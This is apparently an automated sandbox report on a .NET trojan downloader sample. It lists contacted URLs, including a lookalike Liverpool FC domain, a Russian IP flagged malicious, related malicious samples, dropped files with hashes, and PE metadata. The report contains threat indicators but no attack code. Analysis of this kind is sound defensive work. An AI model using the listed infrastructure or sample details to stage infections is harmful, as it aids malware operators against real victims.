https://www.liverpool.com/all-about/transfers	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
http://liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299142713.0000000003121000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://liverpooldabestteamoftheworld.com4	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://reach-id.orbit.tm-awx.com/analytics.js.gz	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://static.hotjar.com/c/hotjar-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/liverpool-fc-news/features/	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-curtis-jones-jurgen-klopp-19941053	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://felix.data.tm-awx.com/felix.min.js	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/all-about/ozan-kabak	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s615/1_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/all-about/sadio-mane	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/all-about/curtis-jones	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/	WerFault.exe, 00000008.00000003.281156001.00000000058F0000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s180/0_GettyImages-1273716690.	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s458/0_WhatsApp-Image-2021-03-	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299231317.000000000315A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s220b/0_Salah-Pressing.jpg	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.251.79.157	unknown	Russian Federation		20803	RISS-ASRU	true
172.67.197.219	liverpooldabestteamoftheworld.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	368924
Start date:	15.03.2021
Start time:	19:59:49
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 31s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.22120 (renamed file extension from 22120 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/7@2/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 14.3% (good quality ratio 12.9%) Quality average: 71.5% Quality standard deviation: 33.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, SgrmBroker.exe, conhost.exe, svchost.exe HTTP Packets have been reduced TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 13.88.21.125, 104.42.151.234, 13.64.90.137, 40.88.32.150, 23.57.80.111 Excluded domains from analysis (whitelisted): skypedataprdcoleus15.cloudapp.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, blobcollector.events.data.trafficmanager.net, e1723.g.akamaiedge.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:01:01	API Interceptor	127x Sleep call for process: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe modified
20:01:11	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.67.197.219	ORDER-21031566AF.exe	Get hash	malicious	Browse	liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-D11DF1C300FC464DC26536C8476FF3AC.html
	Inv_495045_0956.exe	Get hash	malicious	Browse	liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-1617C0AF37A58C53412C31983B0B8569.html
	proposal and quotation.doc	Get hash	malicious	Browse	liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-DD4D37EC2398DF4D4F5ED60C617DC794.html
	Payment Details_ 11-03-21.jar	Get hash	malicious	Browse	liverpooldabestteamoftheworld.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-FCB5112E956162EC0C7B3853038F097A.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
liverpooldabestteamoftheworld.com	Bank swift copy(1)pdf.exe	Get hash	malicious	Browse	104.21.52.98
	ORDER-21031566AF.exe	Get hash	malicious	Browse	104.21.52.98
	PO_21031566AF_pdf.jar	Get hash	malicious	Browse	104.21.52.98
	Inv_495045_0956.exe	Get hash	malicious	Browse	104.21.52.98
	SecuriteInfo.com.Trojan.Siggen12.39743.30812.exe	Get hash	malicious	Browse	104.21.52.98
	proposal and quotation.doc	Get hash	malicious	Browse	172.67.197.219
	payment.exe	Get hash	malicious	Browse	104.21.52.98
	Payment Details_ 11-03-21.jar	Get hash	malicious	Browse	172.67.197.219

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.BackDoor.SpyBotNET.25.23901.exe	Get hash	malicious	Browse	104.21.19.200
	Bank swift copy(1)pdf.exe	Get hash	malicious	Browse	104.21.52.98
	Purchase Order 03.15.21.exe	Get hash	malicious	Browse	172.67.153.81
	SecuriteInfo.com.Trojan.GenericKD.45870665.2596.dll	Get hash	malicious	Browse	104.20.184.68
	SecuriteInfo.com.Trojan.KillProc2.15168.28356.dll	Get hash	malicious	Browse	104.20.184.68
	SecuriteInfo.com.Variant.Razy.847374.25991.dll	Get hash	malicious	Browse	104.20.185.68
	SecuriteInfo.com.Trojan.GenericKD.45888713.13347.dll	Get hash	malicious	Browse	104.20.184.68
	Company Reference1.doc	Get hash	malicious	Browse	172.67.188.154
	IcedID.dll	Get hash	malicious	Browse	104.20.185.68
	44270.7082388889.dll	Get hash	malicious	Browse	104.20.185.68
	#Ud83d#Udd0aVN797.wavv-copy.htm	Get hash	malicious	Browse	104.22.51.93
	#U260f480504.htm	Get hash	malicious	Browse	104.18.10.207
	138.dll	Get hash	malicious	Browse	104.20.184.68
	10000000.dll	Get hash	malicious	Browse	104.20.184.68
	51134248.exe	Get hash	malicious	Browse	172.67.188.154
	New_Message_caroline.vogel@axpo.comSecured.html	Get hash	malicious	Browse	104.16.18.94
	Cheque Deposit Confirmation.exe	Get hash	malicious	Browse	172.67.188.154
	ORDER-21031566AF.exe	Get hash	malicious	Browse	172.67.197.219
	PO_21031566AF_pdf.jar	Get hash	malicious	Browse	104.21.52.98
	GZNST5FR.exe	Get hash	malicious	Browse	172.67.188.154

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SecuriteInfo.com.BackDoor.SpyBotNET.25.23901.exe	Get hash	malicious	Browse	172.67.197.219
	Bank swift copy(1)pdf.exe	Get hash	malicious	Browse	172.67.197.219
	51134248.exe	Get hash	malicious	Browse	172.67.197.219
	Cheque Deposit Confirmation.exe	Get hash	malicious	Browse	172.67.197.219
	ORDER-21031566AF.exe	Get hash	malicious	Browse	172.67.197.219
	PO_21031566AF_pdf.jar	Get hash	malicious	Browse	172.67.197.219
	GZNST5FR.exe	Get hash	malicious	Browse	172.67.197.219
	Inv_495045_0956.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.PackedNET.568.709.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.PackedNET.568.18624.exe	Get hash	malicious	Browse	172.67.197.219
	Invoice.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.PackedNET.568.20062.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.PackedNET.568.17135.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.Win32.Save.a.30042.exe	Get hash	malicious	Browse	172.67.197.219
	SecuriteInfo.com.Trojan.Siggen12.39743.30812.exe	Get hash	malicious	Browse	172.67.197.219
	payment.exe	Get hash	malicious	Browse	172.67.197.219
	Cheque Deposit Confirmation.pdf.exe	Get hash	malicious	Browse	172.67.197.219
	m3yYHUA2Uc.exe	Get hash	malicious	Browse	172.67.197.219
	Payment Details_ 11-03-21.jar	Get hash	malicious	Browse	172.67.197.219
	SS Encrypter.exe	Get hash	malicious	Browse	172.67.197.219

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_ED5QJTUK1HDK4BEQ_6ec071164c53d865d187d5df52bc346c96ac7210_85fd9878_177cef95\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	17172
Entropy (8bit):	3.764206112710957
Encrypted:	false
SSDEEP:	192:BgkBdNomHBUZMXyaKeD6UyDW/u7sdS274It07:VB3pBUZMXyasL6/u7sdX4It07
MD5:	09A60554DB34CC345E91CADDE92CAF87
SHA1:	1BB84BE654AE344B623A7D518AD2ADC752D0E338
SHA-256:	15649F2FF122EEA66E88299B070FB15A6E39773E6E679583E9DB48616DAE9795
SHA-512:	FA4A285BE21D99C114D426FF5C64376E5399105F2BD2BCEE9EAA207FAA4E83239EE3369A628795FAADB12672E2F67B496212956EED51F7D2A8A56EF382DBD886
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.0.3.3.7.2.6.1.4.0.1.7.8.3.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.0.3.3.7.2.6.9.6.0.4.9.0.9.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.4.2.a.c.c.7.-.b.e.0.e.-.4.3.f.b.-.8.a.5.3.-.1.d.3.d.c.f.f.1.8.6.d.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.3.8.f.6.1.6.6.-.a.b.8.5.-.4.5.7.8.-.a.7.4.a.-.d.0.f.8.b.e.d.e.d.5.6.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...T.r.o.j.a.n...D.o.w.n.l.o.a.d.e.r.N.E.T...1.3.1...2.7.2.4...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.1.0.-.0.0.0.1.-.0.0.1.6.-.5.b.8.1.-.d.c.8.f.1.0.1.a.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.3.5.4.d.a.4.9.f.f.4.f.3.8.c.2.f.f.7.b.6.0.e.4.f.6.d.e.9.0.2.3.0.0.0.0.0.0.0.0.!.0.0.0.0.d.e.2.b.8.b.3.b.f.2.0.2.4.c.f.8.a.3.b.d.d.7.e.d.e.0.c.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8B4.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Mar 16 03:01:05 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	318235
Entropy (8bit):	3.668321330308574
Encrypted:	false
SSDEEP:	3072:Fo9Zp0bnjd+ph+lT5k8dCwRdiTbInU9gIOgF5Br40so0UCgUqrlzBrknM8Tc:FC00ph+R5fdiTbIU9RpDOPo0TjoLknMd
MD5:	28C863F4FCD112F82BAB66B2B9DFA1B1
SHA1:	898E9C3C833B28BAA7874B537B03EF1D09C025F7
SHA-256:	41BB3205FE14DE0041465869DCF101967A9E6DE84E41685459C1921EB787D21E
SHA-512:	F287D66A53468D8A4E67217884B9DAD8599601E073B90EC7DE6A7D5F3BB19B7670D74F4D3ADB129E2D8C04753D387068256B1FBB7A1F16B8EE5F3E1EEDCBECF6
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......q.P`...................U...........B......./......GenuineIntelW...........T...........^.P`.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDCAA.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.7041334331595737
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi9v6BF7dg6YIISUY4FlgmfZ/dSqCprg89b7MsfCJm:RrlsNi16BFm6YXSUY4XgmfbSP7ff1
MD5:	CD7EBD6A3193C61FE34CC69E4FDF9E5C
SHA1:	3C27B8C3A5A951C43A5A2916651DD502945100CA
SHA-256:	852E28B62E1597FA6A0360B4E5370AF730F056766BB72F07A57C33DE92A76587
SHA-512:	CCFA8F93E0A4D4BF270D49AF980D513D57B39357425A932010DF05A6FD96624268FAF8CC2DC5A7A8DBBF6E100871505F71862CD5AA08A0B38D6C99AF62BB4DC4
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.7.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDF99.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4841
Entropy (8bit):	4.569739677169856
Encrypted:	false
SSDEEP:	48:cvIwSD8zsUJgtWI9rjWSC8B4R8fm8M4JYyFFF+q8vfy8ClsIsd:uITfS4SSNtJYAKfFClsIsd
MD5:	3BA2F85495BF7B459F65BF41415C6E0C
SHA1:	01E2E1745A6FEAE2A793E3AF6CF87DA88FF216E3
SHA-256:	6BC11954E3E5191BF65BF927496AA7B961EFA238B6414794773E6B7174855FA0
SHA-512:	D8ADE265BB8A65BEE9101038CDA126FE84E96CE1E713564388F3F3FC7F831C847196EEB4854FC04EE34E0283FABD2B5EEC808ADFE7FD7DC74A7587BC37B305A3
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="903611" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\?????????_Inc\SecuriteInfo.com.Trojan.D_Url_l3waih5gwfnhtnkotbdiqibdkxw1gm4o\7.76.506.352\jmbtz0t1.newcfg Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	575474
Entropy (8bit):	3.1026951900295114
Encrypted:	false
SSDEEP:	6144:36YvEqXbr/2Ej41oWUpdi45fOULXwfr388N7xWGr9jodCWs4//HTH5Rdt2jJ54Lp:36iE4quXwfrMKlow4nHn+J5rQYt2
MD5:	0880B7F75557720A1A600FE4BDA9883D
SHA1:	A1E49A92589D9862E1B9B0692CBB4C980640ABEB
SHA-256:	D0F2C5164B79212C661C1248F82FB66FFD53FE55D24033E77DC1329E8BCD79D4
SHA-512:	EDB8EB7C4FE20DEFF1B9AC0148B4AB9EF946235D4CBB80924A27BE6910C761BE0428DD8138529ECDC1DFFD59167975C9F5168B1BF632AC5034A5EAC6F442F8DA
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >.. <section name="............................_xAB0C__xAB3A__xAB1B__xAB36__xAB3D__xAB12__xAB30__xAB1B__xAB14__xAB2A__xAB2C__xAB11__xAB12__xAB3C__xAB0D__xAB25__xAB13_" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />.. </sectionGroup>.. </configSections>.. <userSettings>.. <............................_xAB0C__xAB3A__xAB1B__xAB36__xAB3D__xAB12__xAB30__xAB1B__xAB14__xAB2A__xAB2C__xAB11__xAB12__xAB3C__xAB0D__xAB25__xAB13_>.. <setting name="........

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\89dad5d484a9f889a3a8dfca823edc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
File Type:	data
Category:	dropped
Size (bytes):	24111
Entropy (8bit):	0.6763061048363382
Encrypted:	false
SSDEEP:	12:fMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeMeN:d
MD5:	4A7951952E3A71A87A3AD069CF74E9CE
SHA1:	B1D39EB31A4B41A0B8AB35EE295FC985C9C16269
SHA-256:	AF981B7F2133C39C2A63CCCFFA531E475D900BB0D78F97F93E371D8E765D9065
SHA-512:	657792AC9BAAB3914E630C4FC266C0DA96F3AB326985B41B9C1761ECA70506BD69CEC83EAF58F86B272911FB358364267BC66FCBEDF95F66151BD2BC090AED18
Malicious:	false
Reputation:	low
Preview:	........................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user........................................................................................user..............

Static File Info

General
File type:
Entropy (8bit):	4.745833393708009
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe
File size:	433664
MD5:	968e090b17ce57156a66188b4db032ba
SHA1:	de2b8b3bf2024cf8a3bdd7ede0ce86bb5a7b13de
SHA256:	62562b38c8055ca3d5143c759d1fe6e946e0b3a85bf4397b056589d3c271392c
SHA512:	026b053a6405302926b6e24dbfa7941a255b71258546d4b93fac0681806a935fd5a8459e6f6fa14317f0eabef8c3dfafb1bebd346f3b6412eb9142c39cf7f2a9
SSDEEP:	6144:qCi27P8//mMgWFwOLyw1esyC6gcG6Li6dYs5n0evECRfwEWN9kp0gi:Ji27P8//mZWFwAyw1e
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.................. ........@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x46b00e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xCBF103ED [Sat Jun 4 12:07:09 2078 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
